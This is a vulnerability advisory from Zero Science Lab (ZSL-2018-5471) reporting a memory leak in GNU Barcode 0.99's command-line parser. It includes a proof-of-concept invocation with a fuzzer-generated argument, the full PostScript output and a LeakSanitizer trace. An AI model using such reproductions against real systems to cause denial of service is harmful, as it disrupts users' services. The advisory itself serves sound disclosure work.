GNU Barcode 0.99 Memory Leak
Vendor: The GNU Project | Free Software Foundation, Inc.
Product web page: https://www.gnu.org/software/barcode/
https://directory.fsf.org/wiki/Barcode
Affected version: 0.99
Summary: GNU Barcode is a tool to convert text strings to printed bars.
It supports a variety of standard codes to represent the textual strings
and creates postscript output.
Desc: GNU Barcode suffers from a memory leak vulnerability, which can be exploited
by malicious people to cause a DoS (Denial of Service). The vulnerability is
caused due to an error in the 'cmdline.c', which can be exploited to cause a
memory leak via a specially crafted file. The vulnerability is confirmed in
version 0.99. Other versions may also be affected.
=================================================================================
cmdline.c:
----------
128: int commandline(struct commandline *args, int argc, char **argv,
129: char *errorhead)
130: {
131: struct commandline *ptr;
132: char *getopt_desc = (char *)calloc(512, 1);
133: int desc_offset = 0;
134: int opt, retval;
135: char *value;
=================================================================================
Tested on: Ubuntu 16.04.4
Vulerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5471
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5471.php
09.12.2017
--
lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -b id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog
%%Page: 1 1
% Printing barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128", scaled 1.00, encoded using "code 128-B"
% The space/bar succession is represented by the following widths (space first):
% 02112141341111132221411221212411211241142121224111122141142121132221421121412213212211231221231221231221231222211322212311122321142121421121221143212211231222231121122321142121212411411223212211231221231221231221231221231221231221122321341111112423212211224111211244112121341111411221122321212411122141112423212211232212232113112221321132331112
[
% height xpos ypos width height xpos ypos width
[75.00 11.00 15.00 1.85] [75.00 13.50 15.00 0.85]
[75.00 16.50 15.00 0.85] [70.00 21.50 20.00 0.85]
[70.00 27.00 20.00 3.85] [70.00 30.50 20.00 0.85]
[70.00 32.50 20.00 0.85] [70.00 35.50 20.00 2.85]
[70.00 40.00 20.00 1.85] [70.00 43.50 20.00 0.85]
[70.00 48.50 20.00 0.85] [70.00 51.00 20.00 1.85]
[70.00 54.50 20.00 0.85] [70.00 57.50 20.00 0.85]
[70.00 62.00 20.00 3.85] [70.00 65.50 20.00 0.85]
[70.00 68.50 20.00 0.85] [70.00 71.00 20.00 1.85]
[70.00 76.50 20.00 0.85] [70.00 80.00 20.00 3.85]
[70.00 84.50 20.00 0.85] [70.00 87.50 20.00 0.85]
[70.00 91.00 20.00 1.85] [70.00 96.50 20.00 0.85]
[70.00 98.50 20.00 0.85] [70.00 101.00 20.00 1.85]
[70.00 104.50 20.00 0.85] [70.00 109.50 20.00 0.85]
[70.00 113.00 20.00 3.85] [70.00 117.50 20.00 0.85]
[70.00 120.50 20.00 0.85] [70.00 123.50 20.00 2.85]
[70.00 128.00 20.00 1.85] [70.00 131.50 20.00 0.85]
[70.00 137.00 20.00 1.85] [70.00 139.50 20.00 0.85]
[70.00 142.50 20.00 0.85] [70.00 147.50 20.00 0.85]
[70.00 151.00 20.00 1.85] [70.00 154.50 20.00 2.85]
[70.00 158.50 20.00 0.85] [70.00 162.00 20.00 1.85]
[70.00 164.50 20.00 0.85] [70.00 168.50 20.00 2.85]
[70.00 172.00 20.00 1.85] [70.00 175.50 20.00 0.85]
[70.00 179.50 20.00 2.85] [70.00 183.00 20.00 1.85]
[70.00 186.50 20.00 0.85] [70.00 190.50 20.00 2.85]
[70.00 194.00 20.00 1.85] [70.00 197.50 20.00 0.85]
[70.00 201.50 20.00 2.85] [70.00 205.00 20.00 1.85]
[70.00 209.00 20.00 1.85] [70.00 212.50 20.00 0.85]
[70.00 215.50 20.00 2.85] [70.00 220.00 20.00 1.85]
[70.00 223.50 20.00 0.85] [70.00 227.50 20.00 2.85]
[70.00 230.50 20.00 0.85] [70.00 233.00 20.00 1.85]
[70.00 237.50 20.00 2.85] [70.00 241.50 20.00 0.85]
[70.00 245.00 20.00 3.85] [70.00 249.50 20.00 0.85]
[70.00 252.50 20.00 0.85] [70.00 258.00 20.00 1.85]
[70.00 260.50 20.00 0.85] [70.00 263.50 20.00 0.85]
[70.00 267.00 20.00 1.85] [70.00 269.50 20.00 0.85]
[70.00 275.50 20.00 2.85] [70.00 279.50 20.00 0.85]
[70.00 283.00 20.00 1.85] [70.00 285.50 20.00 0.85]
[70.00 289.50 20.00 2.85] [70.00 293.00 20.00 1.85]
[70.00 297.00 20.00 1.85] [70.00 301.50 20.00 2.85]
[70.00 304.50 20.00 0.85] [70.00 307.50 20.00 0.85]
[70.00 310.00 20.00 1.85] [70.00 314.50 20.00 2.85]
[70.00 318.50 20.00 0.85] [70.00 322.00 20.00 3.85]
[70.00 326.50 20.00 0.85] [70.00 329.50 20.00 0.85]
[70.00 332.50 20.00 0.85] [70.00 337.00 20.00 3.85]
[70.00 340.50 20.00 0.85] [70.00 345.50 20.00 0.85]
[70.00 348.00 20.00 1.85] [70.00 352.50 20.00 2.85]
[70.00 356.50 20.00 0.85] [70.00 360.00 20.00 1.85]
[70.00 362.50 20.00 0.85] [70.00 366.50 20.00 2.85]
[70.00 370.00 20.00 1.85] [70.00 373.50 20.00 0.85]
[70.00 377.50 20.00 2.85] [70.00 381.00 20.00 1.85]
[70.00 384.50 20.00 0.85] [70.00 388.50 20.00 2.85]
[70.00 392.00 20.00 1.85] [70.00 395.50 20.00 0.85]
[70.00 399.50 20.00 2.85] [70.00 403.00 20.00 1.85]
[70.00 406.50 20.00 0.85] [70.00 410.50 20.00 2.85]
[70.00 414.00 20.00 1.85] [70.00 417.50 20.00 0.85]
[70.00 421.50 20.00 2.85] [70.00 425.00 20.00 1.85]
[70.00 428.50 20.00 0.85] [70.00 431.00 20.00 1.85]
[70.00 435.50 20.00 2.85] [70.00 439.50 20.00 0.85]
[70.00 445.00 20.00 3.85] [70.00 448.50 20.00 0.85]
[70.00 450.50 20.00 0.85] [70.00 452.50 20.00 0.85]
[70.00 457.00 20.00 3.85] [70.00 462.50 20.00 2.85]
[70.00 466.50 20.00 0.85] [70.00 470.00 20.00 1.85]
[70.00 472.50 20.00 0.85] [70.00 476.00 20.00 1.85]
[70.00 481.50 20.00 0.85] [70.00 483.50 20.00 0.85]
[70.00 486.50 20.00 0.85] [70.00 489.00 20.00 1.85]
[70.00 496.00 20.00 3.85] [70.00 499.50 20.00 0.85]
[70.00 502.50 20.00 0.85] [70.00 505.50 20.00 0.85]
[70.00 511.00 20.00 3.85] [70.00 514.50 20.00 0.85]
[70.00 516.50 20.00 0.85] [70.00 521.50 20.00 0.85]
[70.00 524.00 20.00 1.85] [70.00 527.50 20.00 0.85]
[70.00 530.00 20.00 1.85] [70.00 534.50 20.00 2.85]
[70.00 538.50 20.00 0.85] [70.00 541.50 20.00 0.85]
[70.00 546.00 20.00 3.85] [70.00 549.50 20.00 0.85]
[70.00 552.00 20.00 1.85] [70.00 555.50 20.00 0.85]
[70.00 560.50 20.00 0.85] [70.00 562.50 20.00 0.85]
[70.00 567.00 20.00 3.85] [70.00 572.50 20.00 2.85]
[70.00 576.50 20.00 0.85] [70.00 580.00 20.00 1.85]
[70.00 582.50 20.00 0.85] [70.00 586.50 20.00 2.85]
[70.00 591.00 20.00 1.85] [70.00 594.00 20.00 1.85]
[70.00 598.50 20.00 2.85] [70.00 602.50 20.00 0.85]
[70.00 605.50 20.00 2.85] [70.00 608.50 20.00 0.85]
[70.00 612.00 20.00 1.85] [70.00 615.50 20.00 0.85]
[70.00 620.00 20.00 1.85] [70.00 622.50 20.00 0.85]
[75.00 627.00 15.00 1.85] [75.00 632.50 15.00 2.85]
[75.00 635.50 15.00 0.85] [75.00 638.00 15.00 1.85]
] { {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall
[
% char xpos ypos fontsize
[(o) 21.00 10.00 12.00]
[(/) 32.00 10.00 0.00]
[(c) 43.00 10.00 0.00]
[(r) 54.00 10.00 0.00]
[(a) 65.00 10.00 0.00]
[(s) 76.00 10.00 0.00]
[(h) 87.00 10.00 0.00]
[(e) 98.00 10.00 0.00]
[(s) 109.00 10.00 0.00]
[(/) 120.00 10.00 0.00]
[(i) 131.00 10.00 0.00]
[(d) 142.00 10.00 0.00]
[(:) 153.00 10.00 0.00]
[(0) 164.00 10.00 0.00]
[(0) 175.00 10.00 0.00]
[(0) 186.00 10.00 0.00]
[(0) 197.00 10.00 0.00]
[(3) 208.00 10.00 0.00]
[(4) 219.00 10.00 0.00]
[(,) 230.00 10.00 0.00]
[(s) 241.00 10.00 0.00]
[(i) 252.00 10.00 0.00]
[(g) 263.00 10.00 0.00]
[(:) 274.00 10.00 0.00]
[(0) 285.00 10.00 0.00]
[(6) 296.00 10.00 0.00]
[(,) 307.00 10.00 0.00]
[(s) 318.00 10.00 0.00]
[(r) 329.00 10.00 0.00]
[(c) 340.00 10.00 0.00]
[(:) 351.00 10.00 0.00]
[(0) 362.00 10.00 0.00]
[(0) 373.00 10.00 0.00]
[(0) 384.00 10.00 0.00]
[(0) 395.00 10.00 0.00]
[(0) 406.00 10.00 0.00]
[(0) 417.00 10.00 0.00]
[(,) 428.00 10.00 0.00]
[(o) 439.00 10.00 0.00]
[(p) 450.00 10.00 0.00]
[(:) 461.00 10.00 0.00]
[(h) 472.00 10.00 0.00]
[(a) 483.00 10.00 0.00]
[(v) 494.00 10.00 0.00]
[(o) 505.00 10.00 0.00]
[(c) 516.00 10.00 0.00]
[(,) 527.00 10.00 0.00]
[(r) 538.00 10.00 0.00]
[(e) 549.00 10.00 0.00]
[(p) 560.00 10.00 0.00]
[(:) 571.00 10.00 0.00]
[(1) 582.00 10.00 0.00]
[(2) 593.00 10.00 0.00]
[(8) 604.00 10.00 0.00]
] { {} forall dup 0.00 ne {
/Helvetica findfont exch scalefont setfont
} {pop} ifelse
moveto show} bind forall
% End barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128"
showpage
%%Trailer
=================================================================
==2183==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 512 byte(s) in 1 object(s) allocated from:
#0 0x7fcb3aca179a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x407be2 in commandline /home/lqwrm/research/barcode-0.99/cmdline.c:132
Direct leak of 55 byte(s) in 1 object(s) allocated from:
#0 0x7fcb3aca1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fcb3a8ca489 in __strdup (/lib/x86_64-linux-gnu/libc.so.6+0x8b489)
SUMMARY: AddressSanitizer: 567 byte(s) leaked in 2 allocation(s).
